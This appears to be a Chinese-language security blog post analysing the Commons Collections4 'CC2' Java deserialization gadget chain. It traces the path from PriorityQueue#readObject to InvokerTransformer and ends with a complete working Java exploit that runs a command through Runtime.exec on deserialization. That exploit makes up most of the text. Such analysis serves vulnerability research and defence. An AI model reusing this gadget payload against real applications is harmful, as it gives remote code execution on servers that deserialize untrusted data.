环境

cc4

<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency><groupId>org.apache.commons</groupId><artifactId>commons-collections4</artifactId><version>4.0</version>
</dependency>

分析

由ysoSerial 出口和之前一样InvokerTransformer

跟进TransformingComparator#compare

往上PriorityQueue#siftDownUsingComparator

再往上
PriorityQueue#siftDown
在往上heapify
然后到readObject


于是链子有了
我们尝试写一个payload试试看

注意size最少要2才能进siftDown 所以我们要给priorityQueue add元素
且在add第二个元素的时候会调siftUp, siftUp最后也能到compare
为了避免这种情况我们需要反射赋值TransformingComparator

于是最终代码如下

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;public class CC2 {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer<Object> chainedTransformer = new ChainedTransformer<>(transformers);TransformingComparator<Object, Object> transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));PriorityQueue priorityQueue = new PriorityQueue(1,transformingComparator);priorityQueue.add(1);priorityQueue.add(1);Field fieldTransformer = TransformingComparator.class.getDeclaredField("transformer");fieldTransformer.setAccessible(true);fieldTransformer.set(transformingComparator,chainedTransformer);serial(priorityQueue);unSerial("ser.bin");}public static void serial(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));oos.writeObject(obj);}public static Object unSerial(String path) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(path));return ois.readObject();}
}